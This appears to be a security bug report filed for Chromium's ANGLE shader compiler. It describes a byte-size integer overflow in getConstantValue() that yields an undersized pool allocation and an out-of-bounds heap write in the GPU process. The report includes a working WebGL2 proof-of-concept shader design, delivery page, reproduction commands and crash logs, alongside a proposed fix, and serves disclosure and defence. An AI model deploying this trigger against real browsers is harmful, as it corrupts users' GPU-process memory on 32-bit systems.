Suggested Fix Direction
Extend the crbug.com/498400132 idiom to the byte product: validate count * sizeof(TConstantUnion) with CheckedNumeric before both new TConstantUnion[...] sites in getConstantValue() (this shape was verified to stop the trigger while leaving normal shaders unaffected). For defense in depth, make PoolAllocator::allocate()’s overflow checks release-fatal and have addConstructor() honor checkVariableSize() failure.
POC: ANGLE TIntermAggregate::getConstantValue() byte-size overflow — element counts in [2^29, 2^32) pass the count guard, wrap the new[] byte computation on 32-bit, and PoolAllocator returns an undersized block that is then written out-of-bounds (GPU process, WebGL2)
Strategy: web-content + input-file Bug Type: heap-buffer-overflow (OOB WRITE), CWE-680 (integer overflow → under-allocation)
Vulnerable code: third_party/angle/src/compiler/translator/IntermNode.cpp:877-901
(crbug.com/498400132 hardening validates only the element count; the byte product
count * sizeof(TConstantUnion) (=count * 8) is unchecked, and the struct branch at
:900-901 has no guard at all. PoolAllocator::allocate()’s only overflow checks are
release-stripped ASSERTs — common/PoolAlloc.cpp:294,319.)
The overflow requires 32-bit size_t (counts in [2^29, 2^32) → byte product ≥ 2^32).
Affected shipping configurations are 32-bit ARM Android (armeabi-v7a GPU process,
unsandboxed there) and 32-bit Windows. This environment has no 32-bit-Chrome lane, so the
proof is split into two runs over the same tree and the same shader:
- Part A — web content, real Chrome (64-bit ASAN build): proves end-to-end
reachability.
poc.html→ WebGL2compileShader()→ GPU process → parse-time constant folding →new TConstantUnion[2^29]→PoolAllocator::allocaterequests 0x100000018 bytes (2^32 + pageHeaderSkip 16 + alignment 8 — attacker-determined size). On 64-bit the product cannot wrap, so an ASAN allocation-size oracle (max_allocation_size_mb, observation only) is used to snapshot the call. The GPU process dies; the browser logsGPU process exited unexpectedly; the page observeswebglcontextlost. Log:chrome-gpu-asan.log. - Part B — the same compiler built for 32-bit (i386), stock in-tree driver: proves
the memory corruption.
angle_shader_translator -s=w2(the in-tree sample binary,SH_WEBGL2_SPEC, zero source modification) on the same shader:- ASAN build: heap-buffer-overflow WRITE — the byte product wraps, clang passes the
Itanium-ABI
SIZE_MAXsentinel to the pooloperator new[], andPoolAllocator::allocate(0xFFFFFFFF)wrapsSIZE_MAX+8+4to 11 bytes (new (nothrow) uint8_t[11],PoolAlloc.cpp:321). The 2^29-element initialization then writes OOB immediately. Log:asan-32bit-translator.log. - Release ThinLTO build (production-like codegen, no sanitizer): raw SIGSEGV after the
init-store loop linearly overwrites ~4.6 MB of live heap (translator pool pages
full of vtable-bearing AST nodes) and falls off the end of
[heap]. Log:release-32bit-crash.log.
- ASAN build: heap-buffer-overflow WRITE — the byte product wraps, clang passes the
Itanium-ABI
Prerequisites
-
Chromium checkout with warm 64-bit ASAN build (
out/asan/chrome). -
Two 32-bit x86 out dirs (the tree’s own
debian_bullseye_i386-sysrootis used; build takes <1 min for this target):# [`out/x86-asan/args.gn`](https://source.chromium.org/chromium/chromium/src/+/main:out/x86-asan/args.gn) # [`out/x86-lto/args.gn`](https://source.chromium.org/chromium/chromium/src/+/main:out/x86-lto/args.gn) use_remoteexec = true use_remoteexec = true reclient_cfg_dir = "../../buildtools/reclient_cfgs/linux" (same) target_cpu = "x86" target_cpu = "x86" is_debug = false is_debug = false dcheck_always_on = false dcheck_always_on = false symbol_level = 1 symbol_level = 1 is_asan = true use_thin_lto = true is_component_build = false is_component_build = false use_clang_modules = false use_clang_modules = false enable_profiling = false enable_profiling = false use_viz_debugger = false use_viz_debugger = false v8_target_cpu = "arm" v8_target_cpu = "arm" # root-BUILD.gn gate for linux-x86; V8 not built use_lld = true use_mold = falsedcheck_always_on=falsematches production (ANGLEASSERTs and pool guard blocks compiled out, as in release Chrome). -
Runtime note for this sandbox only: the i386 sysroot’s
libgcc_s.so.1is a link-only stub that crashesld.soif loaded;repro-env/contains a 30-line functional replacement (seerepro-env/unwind_shim.c). On any machine with normal 32-bit multilib runtime this is unnecessary.
Reproduction
# 0) Build
gn gen out/x86-asan && autoninja -C out/x86-asan third_party/angle:angle_shader_translator
gn gen out/x86-lto && autoninja -C out/x86-lto third_party/angle:angle_shader_translator
# 1) Part A: web content against real Chrome (64-bit ASAN)
cd <artifacts-dir> && python3 gen_shader.py # writes poc_shader.vert (~272 KB)
python3 server.py & # serves poc.html on :8080
ASAN_OPTIONS="max_allocation_size_mb=2048:detect_odr_violation=0" \
out/asan/chrome --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
--user-data-dir=/tmp/chrome-poc-profile --no-proxy-server --enable-logging=stderr \
http://localhost:8080/poc.html 2>&1 | tee /tmp/chrome-run.log
# wait ~15 s; grep "ERROR: AddressSanitizer" /tmp/chrome-run.log
# 2) Part B: 32-bit corruption proof (stock in-tree translator binary, WebGL2 spec)
export LD_LIBRARY_PATH=/usr/lib32:<dir-with-32bit-libgcc_s> # see repro-env/ note
cd out/x86-asan && ./angle_shader_translator -s=w2 <artifacts-dir>/poc_shader.vert
cd out/x86-lto && ./angle_shader_translator -s=w2 <artifacts-dir>/poc_shader.vert # raw SIGSEGV
The shader (gen_shader.py → poc_shader.vert, ESSL 3.00 / WebGL2, no extensions)
#version 300 es
struct S { int a[16384]; }; // 64 KB leaf
struct T2 { S s[32768]; }; // 16384*32768 = 2^29 elements
void main() {
const int A[16384] = int[16384](0x41414141, ... 16384 literals ...); // passes 64KB cap
const S sA = S(A); // passes caps
int r = T2(S[32768](sA, ... 32768 refs ...)).s[0].a[0]; // inline ctors: cap result ignored
gl_Position = vec4(float(r));
}
Declared leaves stay under every parser cap; the huge constructors are inline
expressions whose checkVariableSize result TParseContext::addConstructor
(ParseContext.cpp:6639-6642) discards. The final scalar index folds during parsing
(TIntermBinary::fold branch 2 → weak getConstantValue() recursion), materializing the
T2 constructor through the unguarded branch at IntermNode.cpp:900-901 — before
compilation is rejected. The T2 wrapper defeats fold branch 1 (which would eliminate a
direct index into a plain array constructor).
Expected Result
- Part A: ASAN
allocation-size-too-bigreport in the GPU process with the stackoperator new[](nothrow)←PoolAllocator::allocate(PoolAlloc.cpp:321) ←TIntermAggregate::getConstantValue←TIntermBinary::getConstantValue×4 ←fold←yyparse←sh::Compile←GLES2DecoderPassthroughImpl::DoCompileShader←GpuChannel::ExecuteDeferredRequest(renderer IPC), size0x100000018. - Part B (ASAN, 32-bit):
heap-buffer-overflow ... WRITE of size 4, region[..., ...)of 11 bytes allocated atPoolAllocator::allocatefromTIntermAggregate::getConstantValue(IntermNode.cpp:901). The 11-byte block is the arithmetic fingerprint of the wrap:0xFFFFFFFF + 8 (page header) + 4 (alignment) ≡ 11 (mod 2^32)— i.e. clang’sSIZE_MAXoverflow sentinel reached the allocator and was wrapped, not rejected. - Part B (release): SIGSEGV in
TConstantUnion::TConstantUnion()inlined into thenew TConstantUnion[0x20000000]init loop; faulting address == first byte past[heap]after ~4.6 MB of live heap was overwritten.
Output (actual, abridged — full logs in this directory)
32-bit ASAN (asan-32bit-translator.log):
==2798==ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 4 ...
#0 sh::TConstantUnion::TConstantUnion() ConstantUnion.cpp:70:36
#1 sh::TIntermAggregate::getConstantValue() const IntermNode.cpp:901:28
#2-5 sh::TIntermBinary::getConstantValue() const IntermNode.cpp:2327:56
#6 sh::TIntermBinary::fold(...) IntermNode.cpp:2253:55
#8 sh::TParseContext::addIndexExpression(...) ParseContext.cpp:7558
#9 yyparse ... #14 sh::Compile ...
0xef7005bb is located 0 bytes after 11-byte region [0xef7005b0,0xef7005bb)
allocated by thread T0 here:
#0 operator new[](unsigned int, std::nothrow_t const&)
#1 angle::PoolAllocator::allocate(unsigned int) PoolAlloc.cpp:321:27
#2 operator new[] ConstantUnion.h:21 / sh::TIntermAggregate::getConstantValue() IntermNode.cpp:901:28
Chrome GPU process, web content (chrome-gpu-asan.log):
==4033==ERROR: AddressSanitizer: requested allocation size 0x100000018 ... (thread T0 (chrome))
#1 angle::PoolAllocator::allocate(unsigned long) PoolAlloc.cpp:321:27
#2 sh::TIntermAggregate::getConstantValue() const
...
#19 gpu::gles2::GLES2DecoderPassthroughImpl::DoCompileShader(...)
#24 gpu::GpuChannel::ExecuteDeferredRequest(...)
[pid 4033 == "--type=gpu-process"]
[3994:...] GPU process exited unexpectedly: exit_code=256
[poc-status] EVENT: webglcontextlost (GPU-side death observed)
Notes on fidelity
- What is fully demonstrated: web-content reachability of the attacker-sized
allocation in the real Chrome GPU process (Part A), and, on a 32-bit build of the
identical translator, the byte-product wrap →
SIZE_MAXsentinel → 11-byte pool block → linear out-of-bounds heap WRITE during shader parsing (Part B, ASAN + release). The crash fires in the struct branch (:901, no guard); the array branch (:884) computes the identical 2^29 count thatCheckedNumericaccepts (2^29 < 2^32), so both windows are covered by the same arithmetic. - Content control: in these builds the compiler emits the element-constructor loop
for
new TConstantUnion[n], so the OOB write is the zero/EbtVoidfill and execution faults before thememcpystage atIntermNode.cpp:887-895— an unbounded sequential OOB write with uncontrolled content. If codegen collapses that init loop into amemsetwhose 32-bit length (2^29*8 mod 2^32 = 0) wraps to a no-op (possible under official PGO/LTO codegen), execution instead reaches thememcpyloop, which copies the attacker’s0x41414141constants OOB. Either lowering corrupts GPU-process heap; only the written bytes differ. - The 32-bit runs use the stock in-tree
angle_shader_translatorsample withSH_WEBGL2_SPEC; it does not set Chrome’srejectWebglShadersWithLargeVariableshardening option, but Part A shows the identical materialization running in real Chrome with all hardened-context options active (the inline-constructor cap result is discarded in the parser, so the option does not gate this path).
Bandaid fix
bandaid-fix.patch extends the existing crbug.com/498400132 idiom to the byte
product in both branches of TIntermAggregate::getConstantValue():
validate count * sizeof(TConstantUnion) with CheckedNumeric and ValueOrDie()
(controlled trap) before new TConstantUnion[...]. Verified: after applying, the POC
shader dies at the new check (ud2 in ValueOrDie, bandaid-verification.log) with no
ASAN error, and trivial shaders still compile. A fuller fix should also make
TParseContext::addConstructor honor the checkVariableSize failure and make
PoolAllocator::allocate overflow checks release-fatal.
Files
| file | purpose |
|---|---|
poc.html, server.py |
web-content delivery (Part A) |
gen_shader.py, poc_shader.vert |
shader generator / generated shader (both parts) |
chrome-gpu-asan.log |
Part A: GPU-process ASAN report + browser + page beacons |
asan-32bit-translator.log |
Part B: 32-bit ASAN heap-buffer-overflow (full report) |
release-32bit-crash.log |
Part B: 32-bit release (ThinLTO) raw crash + heap-map analysis |
bandaid-fix.patch, bandaid-verification.log |
minimal fix + verification |
repro-env/ |
sandbox-only runtime shim for the broken i386-sysroot libgcc_s.so.1 stub |
Attached file hierarchy:
The following directories were attached as zip archives:
repro-env.zip→repro-env/
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
- http://crbug.com/498400132
- http://localhost:8080/poc.html
- https://crbug.com/498400132
- https://source.chromium.org/chromium/chromium/src/+/main:common/PoolAlloc.cpp;l=294
- https://source.chromium.org/chromium/chromium/src/+/main:out/x86-asan/args.gn
- https://source.chromium.org/chromium/chromium/src/+/main:out/x86-lto/args.gn
- https://source.chromium.org/chromium/chromium/src/+/main:repro-env/unwind_shim.c
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/common/PoolAlloc.cpp;l=290
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/compiler/translator/IntermNode.cpp;l=877
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/compiler/translator/ParseContext.cpp;l=6639